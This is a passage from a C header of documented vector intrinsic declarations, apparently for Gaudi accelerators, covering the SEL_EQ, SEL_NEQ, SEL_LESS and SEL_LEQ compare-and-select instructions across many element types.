prmt_type, int switches, int5 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ SEL_EQ\n//\n\n/// @brief Represents SEL_EQ instruction.\n///\n/// @param a Source #1 to compare (SRC1).\n/// @param b Source #2 to compare (SRC2).\n/// @param c Source #1 to select (SRC3).\n/// @param d Source #2 to select (SRC4).\n/// @param switches Switches of the instruction.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return One of the sources - \\p c or \\p d with respect to the comparison of the two other sources - \\p a and \\p b.\n///\n#if defined(__gaudi_plus__)\n/// \\par Allowed switches are:\n/// \\li SW_MASK_EQ_ZERO - Compare between (a & b) and 0.\n#endif\n///\n/// @{\nfloat64 v_f32_sel_eq_f32_vb(float64 a, float64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_eq_f32_b(float64 a, float64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_sel_eq_i32_vb(int64 a, int64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_eq_i32_b(int64 a, int64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_sel_eq_u32_vb(uint64 a, uint64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_eq_u32_b(uint64 a, uint64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_sel_eq_bf16_b(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_sel_eq_bf16_vb(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_eq_i16_vb(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_eq_i16_b(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_sel_eq_u16_vb(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_eq_u16_b(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\n\n\nint64 v_i32_sel_eq_f32_vb(float64 a, float64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_eq_f32_b(float64 a, float64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_sel_eq_i32_vb(int64 a, int64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_eq_i32_b(int64 a, int64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_sel_eq_u32_vb(uint64 a, uint64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_eq_u32_b(uint64 a, uint64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\n\nuint64 v_u32_sel_eq_f32_vb(float64 a, float64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_eq_f32_b(float64 a, float64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_sel_eq_i32_vb(int64 a, int64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_eq_i32_b(int64 a, int64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_sel_eq_u32_vb(uint64 a, uint64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_eq_u32_b(uint64 a, uint64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nshort128 v_i16_sel_eq_bf16_vb(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_eq_bf16_b(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\n#endif\nshort128 v_i16_sel_eq_i16_vb(short128 a, short128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_eq_i16_b(short128 a, short128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_sel_eq_u16_vb(ushort128 a, ushort128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_eq_u16_b(ushort128 a, ushort128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nushort128 v_u16_sel_eq_bf16_vb(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_eq_bf16_b(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n#endif\nushort128 v_u16_sel_eq_i16_vb(short128 a, short128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_eq_i16_b(short128 a, short128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_sel_eq_u16_vb(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_eq_u16_b(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n\nchar256 v_i8_sel_eq_i8_vb(char256 a, char256 b, char256 c, char256 d, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_sel_eq_i8_b(char256 a, char256 b, char256 c, char256 d, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_sel_eq_u8_vb(uchar256 a, uchar256 b, char256 c, char256 d, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_sel_eq_u8_b(uchar256 a, uchar256 b, char256 c, char256 d, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\n\nuchar256 v_u8_sel_eq_i8_vb(char256 a, char256 b, uchar256 c, uchar256 d, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_sel_eq_i8_b(char256 a, char256 b, uchar256 c, uchar256 d, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_sel_eq_u8_vb(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_sel_eq_u8_b(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\n\n/// @}\n\n\n//\n// ------ SEL_NEQ\n//\n\n/// @brief Represents SEL_NEQ instruction.\n///\n/// @param a Source #1 to compare (SRC1).\n/// @param b Source #2 to compare (SRC2).\n/// @param c Source #1 to select (SRC3).\n/// @param d Source #2 to select (SRC4).\n/// @param switches Switches of the instruction.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return One of the sources - \\p c or \\p d with respect to the comparison of the two other sources - \\p a and \\p b.\n///\n/// @{\nfloat64 v_f32_sel_neq_f32_vb(float64 a, float64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_neq_f32_b(float64 a, float64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_sel_neq_i32_vb(int64 a, int64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_neq_i32_b(int64 a, int64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_sel_neq_u32_vb(uint64 a, uint64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_neq_u32_b(uint64 a, uint64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_sel_neq_bf16_b(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_sel_neq_bf16_vb(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_neq_i16_vb(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_neq_i16_b(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_sel_neq_u16_vb(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_neq_u16_b(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\n\n\nint64 v_i32_sel_neq_f32_vb(float64 a, float64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_neq_f32_b(float64 a, float64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_sel_neq_i32_vb(int64 a, int64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_neq_i32_b(int64 a, int64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_sel_neq_u32_vb(uint64 a, uint64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_neq_u32_b(uint64 a, uint64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\n\nuint64 v_u32_sel_neq_f32_vb(float64 a, float64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_neq_f32_b(float64 a, float64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_sel_neq_i32_vb(int64 a, int64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_neq_i32_b(int64 a, int64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_sel_neq_u32_vb(uint64 a, uint64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_neq_u32_b(uint64 a, uint64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nshort128 v_i16_sel_neq_bf16_vb(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_neq_bf16_b(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\n#endif\nshort128 v_i16_sel_neq_i16_vb(short128 a, short128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_neq_i16_b(short128 a, short128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_sel_neq_u16_vb(ushort128 a, ushort128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_neq_u16_b(ushort128 a, ushort128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nushort128 v_u16_sel_neq_bf16_vb(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_neq_bf16_b(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n#endif\nushort128 v_u16_sel_neq_i16_vb(short128 a, short128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_neq_i16_b(short128 a, short128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_sel_neq_u16_vb(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_neq_u16_b(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n\nchar256 v_i8_sel_neq_i8_vb(char256 a, char256 b, char256 c, char256 d, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_sel_neq_i8_b(char256 a, char256 b, char256 c, char256 d, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_sel_neq_u8_vb(uchar256 a, uchar256 b, char256 c, char256 d, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_sel_neq_u8_b(uchar256 a, uchar256 b, char256 c, char256 d, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\n\nuchar256 v_u8_sel_neq_i8_vb(char256 a, char256 b, uchar256 c, uchar256 d, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_sel_neq_i8_b(char256 a, char256 b, uchar256 c, uchar256 d, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_sel_neq_u8_vb(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_sel_neq_u8_b(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\n\n/// @}\n\n\n//\n// ------ SEL_LESS\n//\n\n/// @brief Represents SEL_LESS instruction.\n///\n/// @param a Source #1 to compare (SRC1).\n/// @param b Source #2 to compare (SRC2).\n/// @param c Source #1 to select (SRC3).\n/// @param d Source #2 to select (SRC4).\n/// @param switches Switches of the instruction.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return One of the sources - \\p c or \\p d with respect to the comparison of the two other sources - \\p a and \\p b.\n///\n/// @{\nfloat64 v_f32_sel_less_f32_vb(float64 a, float64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_less_f32_b(float64 a, float64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_sel_less_i32_vb(int64 a, int64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_less_i32_b(int64 a, int64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_sel_less_u32_vb(uint64 a, uint64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_less_u32_b(uint64 a, uint64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_sel_less_bf16_b(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_sel_less_bf16_vb(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_less_i16_vb(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_less_i16_b(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_sel_less_u16_vb(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_less_u16_b(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\n\n\nint64 v_i32_sel_less_f32_vb(float64 a, float64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_less_f32_b(float64 a, float64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_sel_less_i32_vb(int64 a, int64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_less_i32_b(int64 a, int64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_sel_less_u32_vb(uint64 a, uint64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_less_u32_b(uint64 a, uint64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\n\nuint64 v_u32_sel_less_f32_vb(float64 a, float64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_less_f32_b(float64 a, float64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_sel_less_i32_vb(int64 a, int64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_less_i32_b(int64 a, int64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_sel_less_u32_vb(uint64 a, uint64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_less_u32_b(uint64 a, uint64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nshort128 v_i16_sel_less_bf16_vb(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_less_bf16_b(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\n#endif\nshort128 v_i16_sel_less_i16_vb(short128 a, short128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_less_i16_b(short128 a, short128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_sel_less_u16_vb(ushort128 a, ushort128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_less_u16_b(ushort128 a, ushort128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nushort128 v_u16_sel_less_bf16_vb(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_less_bf16_b(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n#endif\nushort128 v_u16_sel_less_i16_vb(short128 a, short128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_less_i16_b(short128 a, short128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_sel_less_u16_vb(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_less_u16_b(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n\nchar256 v_i8_sel_less_i8_vb(char256 a, char256 b, char256 c, char256 d, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_sel_less_i8_b(char256 a, char256 b, char256 c, char256 d, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_sel_less_u8_vb(uchar256 a, uchar256 b, char256 c, char256 d, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_sel_less_u8_b(uchar256 a, uchar256 b, char256 c, char256 d, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\n\nuchar256 v_u8_sel_less_i8_vb(char256 a, char256 b, uchar256 c, uchar256 d, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_sel_less_i8_b(char256 a, char256 b, uchar256 c, uchar256 d, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_sel_less_u8_vb(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_sel_less_u8_b(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\n\n/// @}\n\n\n//\n// ------ SEL_LEQ\n//\n\n/// @brief Represents SEL_LEQ instruction.\n///\n/// @param a Source #1 to compare (SRC1).\n/// @param b Source #2 to compare (SRC2).\n/// @param c Source #1 to select (SRC3).\n/// @param d Source #2 to select (SRC4).\n/// @param switches Switches of the instruction.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return One of the sources - \\p c or \\p d with respect to the comparison of the two other sources - \\p a and \\p b.\n///\n/// @{\nfloat64 v_f32_sel_leq_f32_vb(float64 a, float64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_leq_f32_b(float64 a, float64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_sel_leq_i32_vb(int64 a, int64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_leq_i32_b(int64 a, int64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_sel_leq_u32_vb(uint64 a, uint64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_leq_u32_b(uint64 a, uint64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_sel_leq_bf16_b(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_sel_leq_bf16_vb(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_leq_i16_vb(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_leq_i16_b(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_sel_leq_u16_vb(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_leq_u16_b(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\n\n\nint64 v_i32_sel_leq_f32_vb(float64 a, float64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_leq_f32_b(float64 a, float64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_sel_leq_i32_vb(int64 a, int64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_leq_i32_b(int64 a, int64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_sel_leq_u32_vb(uint64 a, uint64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_leq_u32_b(uint64 a, uint64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\n\nuint64 v_u32_sel_leq_f32_vb(float64 a, float64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_leq_f32_b(float64 a, float64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_sel_leq_i32_vb(int64 a, int64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_leq_i32_b(int64 a, int64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_sel_leq_u32_vb(uint64 a, uint64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_leq_u32_b(uint64 a, uint64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nshort128 v_i16_sel_leq_bf16_vb(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_leq_bf16_b(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\n#endif\nshort128 v_i16_sel_leq_i16_vb(short128 a, short128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_leq_i16_b(short128 a, short128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_sel_leq_u16_vb(ushort128 a, ushort128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_leq_u16_b(ushort128 a, ushort128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nushort128 v_u16_sel_leq_bf16_vb(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_leq_bf16_b(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n#endif\nushort128 v_u16_sel_leq_i16_vb(short128 a, short128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_leq_i16_b(short128 a, short128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_sel_leq_u16_vb(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_leq_u16_b(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n\nchar256 v_i8_sel_leq_i8_vb(char256 a, char256 b, char256 c, char256 d, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_sel_leq_i8_b(char256 a, char256 b, char256 c, char256 d, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_sel_leq_u8_vb(uchar256 a, uchar256 b, char256 c, char256 d, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_sel_leq_u8_b(uchar256 a, uchar256 b, char256 c, char256 d, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\n\nuchar256 v_u8_sel_leq_i8_vb(char256 a, char256 b, uchar256 c, uchar256 d, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_sel_leq_i8_b(char256 a, char256 b, uchar256 c, uchar256 d, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_sel_leq_u8_vb(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_sel_leq_u8_b(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\n\n/// @}\n\n\n//\n// ------ SEL_GRT\n//\n\n/// @brief Represents SEL_GRT instruction.\n///\n/// @param a Source #1 to compare (SRC1).\n/// @param b Source #2 to compare (SRC2).\n/// @param c Source #1 to select (SRC3).\n/// @param d Source #2 to select (SRC4).\n/// @param switches Switches of the instruction.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return One of the sources - \\p c or \\p d with respect to the comparison of the two other sources - \\p a and \\p b.\n///\n/// @{\nfloat64 v_f32_sel_grt_f32_vb(float64 a, 